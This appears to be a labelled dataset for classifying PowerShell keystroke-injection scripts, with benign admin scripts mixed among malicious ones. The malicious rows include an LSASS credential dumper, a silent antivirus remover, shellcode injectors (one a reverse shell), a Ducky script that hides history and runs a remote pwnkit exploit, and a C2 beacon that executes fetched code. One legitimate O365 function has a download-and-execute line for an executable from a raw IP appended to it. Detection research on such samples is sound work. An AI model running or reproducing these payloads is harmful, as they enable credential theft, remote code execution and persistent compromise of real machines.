$primaryStartIp -EndIpAddress $primaryEndIp enter $secondaryServerFirewallRule = New-AzSqlServerFirewallRule -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -FirewallRuleName ""AllowedIPs"" -StartIpAddress $secondaryStartIp -EndIpAddress $secondaryEndIp enter $primaryPool = New-AzSqlElasticPool -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -ElasticPoolName $primaryPoolName ` enter -Edition ""Standard"" ` enter -Dtu 50 ` enter -DatabaseDtuMin 10 ` enter -DatabaseDtuMax 50 enter $secondaryPool = New-AzSqlElasticPool -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -ElasticPoolName $secondaryPoolName ` enter -Edition ""Standard"" ` enter -Dtu 50 ` enter -DatabaseDtuMin 10 ` enter -DatabaseDtuMax 50 enter $database = New-AzSqlDatabase -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -DatabaseName $databaseName ` enter -ElasticPoolName $primaryPoolName enter $database = Get-AzSqlDatabase -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -DatabaseName $databaseName enter $database | New-AzSqlDatabaseSecondary -PartnerResourceGroupName $secondaryResourceGroupName ` enter -PartnerServerName $secondaryServerName ` enter -SecondaryElasticPoolName $secondaryPoolName ` enter -AllowConnections ""All"" enter $database = Get-AzSqlDatabase -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -DatabaseName $databaseName enter $database | Set-AzSqlDatabaseSecondary -PartnerResourceGroupName $primaryResourceGroupName -Failover enter $database = Get-AzSqlDatabase -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -DatabaseName $databaseName enter $database | Get-AzSqlDatabaseReplicationLink -PartnerResourceGroupName $primaryResourceGroupName ` enter -PartnerServerName $primaryServerName enter enter",0,0,0.99995136,4.864003e-05
"win+r enter powershell enter enter enter Function MiniDump { enter $MiniDump = @"" enter using System.Security.Principal; enter using System.Diagnostics; enter using System.IO; enter using System.Runtime.InteropServices; enter using System; enter enter public class MDump { enter enter [DllImport(""dbghelp.dll"", EntryPoint = ""MiniDumpWriteDump"", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] enter public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam); enter enter public static string Minidump(int pid = -1) enter { enter enter IntPtr targetProcessHandle = IntPtr.Zero; enter uint targetProcessId = 0; enter enter Process targetProcess = null; enter if (pid == -1) enter { enter Process[] processes = Process.GetProcessesByName(""lsass""); enter targetProcess = processes[0]; enter } enter else enter { enter try enter { enter targetProcess = Process.GetProcessById(pid); enter } enter catch (Exception ex) enter { enter return String.Format(""[X]Exception: {0}"", ex.Message); enter } enter } enter enter try enter { enter targetProcessId = (uint)targetProcess.Id; enter targetProcessHandle = targetProcess.Handle; enter } enter catch (Exception ex) enter { enter return String.Format(""[X] Error getting handle to {0} ({1}): {2}"", targetProcess.ProcessName, targetProcess.Id, ex.Message); enter } enter bool bRet = false; enter enter string systemRoot = Environment.GetEnvironmentVariable(""SystemRoot""); enter string dumpFile = String.Format(""{0}\\Temp\\debug.bin"", systemRoot); enter enter using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) enter { enter bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); enter } enter if (bRet) enter { enter return ""[+] Dump successful - "" + dumpFile; enter } enter else enter { enter return String.Format(""[X] Dump failed: {0}"", bRet); enter } enter } enter enter } enter ""@ enter Add-Type $MiniDump enter $ptr = [MDump]::Minidump() enter echo $ptr enter } enter enter",1,1,0.00097499735,0.999025
"win+r powershell enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter $Name, enter [Parameter(Mandatory=$true)] enter [string] enter $Value enter ) enter Set-StrictMode -Version 'Latest' enter $Name,$Value = enter $Name,$Value | enter ForEach-Object { [Text.Encoding]::Unicode.GetString( [Convert]::FromBase64String($_) ) } enter [Environment]::SetEnvironmentVariable( $Name, $Value, [EnvironmentVariableTarget]::User ) enter $uninstall32s = gci ""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"" | foreach { gp $_.PSPath } | ? { $_ -like ""*AVG*"" } | select UninstallString;$uninstall64s = gci ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"" | foreach { gp $_.PSPath } | ? { $_ -like ""*AVG*"" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace ""MsiExec.exe"","""" -Replace ""/I"","""" -Replace ""/X"","""";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like ""*/mode=offline*""){}else{Write-Warning $uninstall64; start-process ""msiexec.exe"" -args ""/x $uninstall64 /qn /norestart"" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace ""MsiExec.exe"","""" -Replace ""/I"","""" -Replace ""/X"","""";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like ""*/mode=offline*""){}else{Write-Warning $uninstall32; start-process ""msiexec.exe"" -args ""/x $uninstall32 /qn /norestart"" -Wait }}; enter",1,1,0.010732545,0.9892674
"win+r enter powershell enter enter enter Set-StrictMode -Version 2 enter enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) enter return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter } enter enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter ) enter enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter enter return $var_type_builder.CreateType() enter } enter enter If ([IntPtr]::size -eq 8) { enter [Byte[]]$var_code = [System.Convert]::fromHEXString('df6ba0c7d3cbeb232323627262737172756b12f1466ba871436ba8713b6ba871036ba851736b2c9469696e12ea6b12e38f1f425f210f0362e2ea2e6222e2c1ce7162726ba87103a8611f6b22f345a25b3b28215651a8a3ab2323236ba6e357446b22f373a86b3b67a863036a22f3c0756bdcea62a817ab6b22f56e12ea6b12e38f62e2ea2e6222e21bc356d26f206f072b661af256fb7b67a863076a22f34562a82f6b67a8633f6a22f362a827ab6b22f3627b627b7d7a79627b627a62796ba0cf036271dcc37b627a796ba831ca6cdcdcdc7e49236a9d544a4d4a4d46572362756aaac56faad262996f540524dcf66b12ea6b12f16e12e36e12ea62736273629919755a84dcf6c850796baae2629b732323236e12ea6272627249206272629974aabce5dcf6c87a786baae26b12f16aaafb6e12ea714b232163a771716299c8760d18dcf66baae56ba0e07349297c6baad26baaf96ae4e3dcdcdcdc6e12ea717162990e253b58dcf6a6e32ca6be2223236bdcec2ca7af222323c8f0cac7222323cb81dcdcdc0c674c654c510c5146554a46540c6e404a514c504c455723d3313c93fbaa1e6ee3de6c52bc78960f2d470d78cbd6e4a5b22b08640dcdfe79e732ce188d7a9af30824c5e34ffd64919fefeacc965b752362404046535719034a4e4244460c090f034253534f4a4042574a4c4d0c5b4e4f0f034253534f4a4042574a4c4d0c49504c4d2e296240404653570e6f424d445642444619034e4f2e296240404653570e664d404c474a4d441903090f03404c4e53514650502e29765046510e6244464d5719036e4c594a4f4f420c160d13030b744a4d474c5450036d7703150d121803744a4d151718035b15170a036253534f46744641684a570c1610140d1015030b686b776e6f0f034f4a484603644640484c0a03604b514c4e460c151a0d130d10171a140d1213130370424542514a0c1610140d10152e2923fbdaa071853b2b5f51d602033a4c29c04e0647cf2731632e7b5b5301cc7f7f679aa37881eddbcd8c034e7580d7db1c778468c417d968eb701d770acb893fc1c4cb6c5e06cc373923629dd3968175dcf66b12ea9923236323629b23332323629a6323232362997b8770c6dcf66bb070706baac46baad26baaf9629b230323236aaada629931b5aac1dcf66ba0e703a6e3579545a8246b22e0a6e356f47b7b7b6b263a3e232373e0cbbcdedcdc121a160d1211100d11121a0d12121123347346c9') enter enter for ($x = 0; $x -lt $var_code.Count; $x++) { enter $var_code[$x] = $var_code[$x] -bxor 35 enter } enter enter $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) enter $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter enter $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) enter $var_runme.Invoke([IntPtr]::Zero) enter } enter [decoded_payloads] enter [decoded:long_base64_literal] enter uþ›kG;ww y½·Û}·ënöën÷ï^ö×gõ㮛kÎõã~›kÎõݾ›kÎõÓ~›kÎuï~›ÙÏxëÞ½éívy®›×g·ñý_ãn_Û] Ó~¶{gšÙî¶Ûg¶sW ï^¶ïn›kÎõÓv¼ë]_齶 ~9kn[ݽ¼Û^zçV¼kv›Û}·Û~›k§·ç¾8齶 ~÷kΛݾ»kηÓ~šÛg÷sNùé·\y®¶kÍ{i¾›Ûgùéívy®›×g·ñþ¶{gšÙî¶Ûg¶Õ·7ç§véý´éý;Ù¾ºÕ§öç§Ûí¾»kηӾšÛg÷㞶k͟龻kηÝþšÛg÷ëf¼Û¶›é½¶ ~¶í¾¶í¾Ýí®ýënÛënÚëný鶴qý7ënõuÇ7í¾¶í®ý鶼ßW éÇ\uÇ\íî=Û~šõÞxá® á® ã®{Û~¶ïžši§9éöšwn¶÷ޟç9ۇ\ ®›×gšé½v ^ž×g·éívy®¶ï~¶ï~¶÷Ý}ïžZó‡\ §<çNý鶚{n¶õ¾÷Û}·Û~ž×gšënöënöãÝ´ënöëo}mǹuÇúsÎÚïΛi§¶é½v ^ši§Ûéívy®õá½·Û^·k¾õï^¶÷×<ï­ ×Ç\ ®›i§¹é¶´{N÷ãݽíΛi§v鶚 ޚ{‡·uÇ\uÇ\éívy®õï^¶÷Ý ÛÛçÇ\ ¦º{}œk¦ÞÛm·Û~›uǜÙÆ»iý¶Û}·sÇôq§;Ûm·Ûw óW\uÇ\ÑλáιáÎuÑÎuã®yá®:ç éî4á®uáÎtáÎ9ç½·w}õÝÏw}¶šÕîž{w^éÎvmÎü÷­ ÙÞ;ÑÞüq·z{†¹om›ÓθÑ× }îý{½öqí|ñÞÚõ§÷Ó͸s—·á÷Ýëuõ÷Ÿy§ ÷®[ën4ãN:ç~{×Ý7á® ãn8ã­ ÓÝ Ó~6ç~wáþ ãN6ç¾ áÎ ÑÎ[áî Ñý7ãnwç~ á®4ãn{á® áÝ ãÞtáÎ Ùí½ën4ãN:ç~{ÑîŸãn ãŽzãn8ã­}Ó~ áýžÛÞ¶ãN4ã®wç½ ë® ãN ã¾ áÞ8×Ý7ÓÝ Ó~4áÎ ç~uã®tçMžÛÞúçN:ç] ën8ã® ç½}Ó~žáÎ}á® áþ6ÑÍzÑÝwÓ} ïŽ áÞ;áÎxçM7éÞûÓ}yÑÝv×Í7ïŽ áÝy×½|Ó~[ם{Ñ­7ënwç~ ã®øã®5ëÎ ç½ ×­t׍ ×MyÓ} ëΛﾞéý Ó~ á®<ã­7ëŽ:ãN<áÍ Ó~´á¾uáΠ㭠םZÑÝwÑÝt×½Z׍ ×mw×}7ïN6ãž6ç^ ÑÍz×MxÑÝtםžÛÝ·}·ZkNõóÛÙ¾_çWzÓm7Ý® Û×4áí:ã· Û½õë}ží¾[ç}5qÎßíþ»õ¦·ïÏ5y×[qß Ó~ ïŸ4w·[ÕÎûóŽ¼s{wÞ¼y¾ôÕÞûѧ óÝßsW8q¾œåí:qÍûßÝ·ëo]w zó^ùuÇúé½vy¯}Û}·ë}·ëo[Û}÷Û}·ëoZë}·Û}·ëo}í¿;ïG:uÇúé¶ôïNô鶚sŽ›i§v鶚 Þ¶õ½·Ó}·Û~ši§Zëo}ßVùi§5uÇú鶴{½7k§·ç¿y㖼ێ›Ûg´k§·ç§øí¾Ûí¾›Û­ÚÝí·Û~÷{G mÇ^uÇ\×mZ×­ ×mu×M ×]vÕ­ ×mv×]·ßŽ÷ã§= enter enter",1,1,7.77845e-05,0.99992216
win+r powershell enter class CommandExecutionContext { [string]$Id = (New-Guid).ToString().Split('-')[ enter 0] [bool]$Complete = $false [CommandResult]$Result [string]$FullyQualifiedCom enter mandName [Command]$Command [ParsedCommand]$ParsedCommand [Message]$Message [ enter bool]$IsJob [datetime]$Started [datetime]$Ended [object]$Job enter enter,1,1,0.0040434008,0.9959566
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0xf3,0x8e, enter 0x31,0x19,0xdb,0xcf,0xd9,0x74,0x24,0xf4,0x5b,0x31,0xc9,0xb1,0x47,0x83,0xc3,0x04, enter 0x31,0x7b,0x0f,0x03,0x7b,0xfc,0x6c,0xc4,0xe5,0xea,0xf3,0x27,0x16,0xea,0x93,0xae, enter 0xf3,0xdb,0x93,0xd5,0x70,0x4b,0x24,0x9d,0xd5,0x67,0xcf,0xf3,0xcd,0xfc,0xbd,0xdb, enter 0xe2,0xb5,0x08,0x3a,0xcc,0x46,0x20,0x7e,0x4f,0xc4,0x3b,0x53,0xaf,0xf5,0xf3,0xa6, enter 0xae,0x32,0xe9,0x4b, enter enter",1,1,5.4694792e-05,0.9999453
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_afmupd9d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.474309e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: pwnKit enter REM Description: Privilege escalation in Unix-like operating systems enter REM Author: drapl0n enter REM Version: 1.0 enter REM Category: Privilege Escalation enter REM Target: Unix-like operating systems enter REM Attackmodes: HID enter DELAY 500 enter CTRL-ALT t enter DELAY 3000 enter STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE enter ENTER enter DELAY 400 enter STRING mkdir /tmp/pwn && cd /tmp/pwn enter ENTER enter DELAY 400 enter STRING eval ""$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"" enter ENTER enter DELAY 6000 enter STRING rm -rf /tmp/pwn enter ENTER enter DUCKY_REAL_END enter",1,1,5.98877e-05,0.99994016
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_jhi2rlzf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_100.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.406264e-05
"win+r enter powershell enter enter enter function Remove-OnlineVM enter { enter [CmdletBinding(SupportsShouldProcess)] enter param enter ( enter [Parameter(Mandatory, ValueFromPipeline)] enter [ValidateNotNullOrEmpty()] enter [Microsoft.HyperV.PowerShell.VirtualMachine[]]$VM, enter enter [Parameter(Mandatory, ValueFromPipelineByPropertyName)] enter [ValidateNotNullOrEmpty()] enter [Alias('ComputerName')] enter [string]$Server, enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [pscredential]$Credential enter ) enter process enter { enter foreach ($v in $VM) enter { enter $vmName = $v.Name enter if ($PSCmdlet.ShouldProcess($vmName,'Remove VM')) enter { enter if ((Get-VM -ComputerName $Server -Name $vmName).State -eq 'Running') enter { enter Write-Verbose -Message ""[$vmName)] is online. Shutting down now."" enter $v | Stop-VM -Force enter } enter $v | Remove-VM -Force enter } enter } enter } enter } enter $CKE = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $CKE -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xc5,0x8a,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Zez=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Zez.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Zez,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.192383e-05,0.999948
"win+r enter powershell enter enter enter $JVar_g=$null; enter $rVER_m = ""37""; enter $txtEnc_ASC=[System.Text.Encoding]::ASCII; enter $ok=$true enter $Local_parM = ""WyI1MzMzODUwMzk5MDU4NDk1ODEyIiwxNjgwODkzODc3LCJNams0TVRrSENnc0NBUWNKQ3dnQUFnd0FCUUFIQVFrRFJRb0lBUVlNQ2tVSkJ3RUNBUUVDQVFBQVJHNWNTbHclM0QiXQ==""; enter enter function recvValueFromIndx([string]$btARR2) { enter $btARR=[System.Convert]::FromBase64String($btARR2); enter enter $st=$txtEnc_ASC.GetBytes('Get-ItemPropertyValue'); enter $ed=$btARR[0..4]; enter enter $i=0; enter $l=$ed.Length; enter $k=@(); enter enter [array]::Resize([ref]$k,$st.length); enter foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]} enter enter $bs=$btARR[5..$btARR.length]; enter enter $i=0; enter $l=$k.Length; enter $dt=@(); enter enter [array]::Resize([ref]$dt,$bs.length); enter foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]} enter enter return $txtEnc_ASC.GetString($dt) | ConvertFrom-Json; enter } enter enter $dat = $null; enter enter try { enter enter $JVar_g=$txtEnc_ASC.GetString([System.Convert]::FromBase64String($Local_parM)) | ConvertFrom-Json; enter } catch{} enter enter $displayType = ""Display Fusion""; enter $is=$JVar_g[1]; enter $u=$JVar_g[0]; enter $binVal = ""HKCU:\Software\BinaryFortressSoftware\""; enter enter $di=$JVar_g[2]; enter $d = ""herofherlittl.com""; enter enter $a = $txtEnc_ASC; enter $v = ""0""; enter enter while($ok) { enter try{ enter try{ enter if (!(Test-Path $binVal)){New-Item -Path $binVal | Out-Null;} enter } enter catch{} enter enter $cr = $false; enter if ($dat -eq $null) { enter try { enter $r = Get-ItemPropertyValue -Path $binVal -Name $displayType; enter $dat = recvValueFromIndx($r); enter $v = $dat[0]; enter $cr = $true; enter }catch{} enter } else { enter $v = $dat[0]; enter } enter enter try { enter $fmt = ""https://{0}/x?u={1}&is={2}&lv={3}&rv={4}&did={5}"" -f $d,$u,$is,$rVER_m,$v,$di enter $dt = wget $fmt -UseBasicParsing; enter enter $dat2 = recvValueFromIndx($dt); enter if ($dat2[0] -gt $v) { enter $v2 = $dat2[0]; enter enter New-ItemProperty -Path $binVal -Name $displayType -Value $dt -PropertyType ""String"" -Force | Out-Null; enter $dat = $dat2; enter $cr = $true; enter } enter }catch{} enter enter if ($cr -eq $true) { enter try{ enter stop; enter }catch{} enter try {iex $dat[1];}catch{} enter } enter } catch{} enter enter try { enter $mxs = ((get-random 80 -minimum 55)*60); enter $cdt = [int](Get-Date -UFormat %s); enter enter :cnt while($ok) { enter try{temp($d,$u,$is,$di);}catch{} enter enter Start-Sleep (get-random 75 -minimum 35); enter $ndt = [int](Get-Date -UFormat %s); enter enter if (($ndt-$cdt) -gt $mxs) { enter break cnt; enter } enter } enter enter } catch{} enter } enter [decoded_payloads] enter [decoded:long_base64_literal] enter [""5333850399058495812"",1680893877,""Mjk4MTkHCgsCAQcJCwgAAgwABQAHAQkDRQoIAQYMCkUJBwECAQECAQAARG5cSlw%3D""] enter enter",1,1,5.6037603e-05,0.999944
"win+r enter powershell enter enter enter function Update-O365UserUPNSuffix enter { enter [CmdletBinding()] enter [OutputType([pscustomobject])] enter param enter ( enter [Parameter(Mandatory = $true)] enter [String]$UserAlias, enter enter [Parameter(Mandatory = $true)] enter [String]$CurrentUPNSuffix, enter enter [Parameter(Mandatory = $true)] enter [String]$NewUPNSuffix, enter enter [Parameter(Mandatory = $true)] enter [String]$TenantUPNSuffix, enter enter [Parameter(Mandatory = $true)] enter [String]$DomainController, enter enter [System.Management.Automation.Credential()] enter [Alias('RunAs')] enter $Credential = [System.Management.Automation.PSCredential]::Empty enter ) enter enter BEGIN enter { enter TRY enter { enter $CurrentUPN = $(""$UserAlias@$CurrentUPNSuffix"") enter $TemporaryUPN = $(""$UserAlias@$TenantUPNSuffix"") enter $NewUPN = $(""$UserAlias@$NewUPNSuffix"") enter Write-Verbose -Message ""[BEGIN] Current Information"" enter if (Get-MsolDomain) enter { enter $MSOLUserBefore = Get-MsolUser -UserPrincipalName $CurrentUPN -ErrorAction Stop enter } enter else enter { enter Write-Error ""[BEGIN] Does not seem connected to Office365"" enter break enter } enter $ADUserBefore = (Get-ADuser -LDAPFilter ""(UserPrincipalName=$CurrentUPN)"" -Server $DomainController -ErrorAction Stop) enter enter if (-not ($ADUserBefore)) enter { Write-Error -Message ""[BEGIN] Can't find this user in AD"" } enter enter [pscustomobject]@{ enter State = 'BEFORE' enter UserAlias = $UserAlias enter SID = $ADUserBefore.SID enter UPN_in_AD = $ADUserBefore.UserPrincipalName enter UPN_in_O365 = $MSOLUserBefore.UserPrincipalName enter } enter } enter CATCH enter { enter $Error[0].Exception.Message enter } enter } enter PROCESS enter { enter TRY enter { enter Write-Verbose -Message ""[PROCESS] Processing changes"" enter $Splatting = @{ } enter enter if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } enter Set-MsolUserPrincipalName -UserPrincipalName $CurrentUPN -NewUserPrincipalName $TemporaryUPN -ErrorAction Stop | Out-Null enter enter Set-MsolUserPrincipalName -UserPrincipalName $TemporaryUPN -NewUserPrincipalName $NewUPN -ErrorAction Stop | Out-Null enter Get-ADUser @splatting -LDAPFilter ""(UserPrincipalName=$CurrentUPN)"" -Server $DomainController | enter Set-ADUser @splatting -UserPrincipalName $NewUPN -server $DomainController -ErrorAction Stop enter Start-Sleep -Seconds 5 enter $MSOLUserAfter = Get-MsolUser -UserPrincipalName $NewUPN enter $ADUserAfter = Get-ADUser @splatting -LDAPFilter ""(UserPrincipalName=$NewUPN)"" -Server $DomainController enter [pscustomobject]@{ enter State = 'AFTER' enter UserAlias = $UserAlias enter SID = $ADUserAfter.SID enter UPN_in_AD = $ADUserAfter.UserPrincipalName enter UPN_in_O365 = $MSOLUserAfter.UserPrincipalName enter } enter } enter CATCH enter { enter $Error[0].Exception.Message enter } enter } enter END enter { enter Write-Warning -Message ""[END] You might want to initiate the DirSync between AD and O365 or wait for next sync"" enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.498698e-05,0.99994504
win+r powershell enter  function Test-BasicDataClassificationOnSqlManagedDatabase { $testSuffix = enter getAssetName Create-ManagedDataClassificationTestEnvironment $testSuffix $para enter ms = Get-DataClassificationManagedTestEnvironmentParameters $testSuffix try { enter enter,1,1,0.00078852166,0.99921143
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_0i75ydeu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.999966,3.395173e-05
win+r powershell enter <# .Synopsis Searches recursively through the provided path searching for valid enter credit card numbers .DESCRIPTION Large files are read in chunks so as to not e enter xhaust system resources .EXAMPLE PS C:\> Get-CreditCardData -Path C:\Backup\ #> enter Function Get-CreditCardData { param ( enter,1,1,6.658933e-05,0.99993336
